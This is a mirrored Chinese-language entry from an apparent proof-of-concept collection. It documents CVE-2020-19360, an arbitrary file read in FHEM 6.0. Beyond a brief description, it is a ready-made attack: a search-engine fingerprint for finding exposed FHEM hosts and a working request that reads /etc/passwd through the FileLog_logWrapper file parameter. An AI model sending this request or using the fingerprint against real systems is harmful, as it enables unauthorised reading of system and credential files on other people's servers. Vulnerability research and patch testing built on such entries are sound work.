mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 19:03:21 +00:00
31 lines
587 B
Markdown
31 lines
587 B
Markdown
|
# Fhem FileLog_logWrapper 任意文件读取漏洞 CVE-2020-19360
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
FHEM在6.0版本中存在文件包含漏洞，该漏洞源于允许FHEM/FileLog_logWrapper file参数允许攻击者包含文件，攻击者可以利用此漏洞导致敏感信息泄露。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
FHEM 6.0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
title=="Home, Sweet Home"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
主页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
验证POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|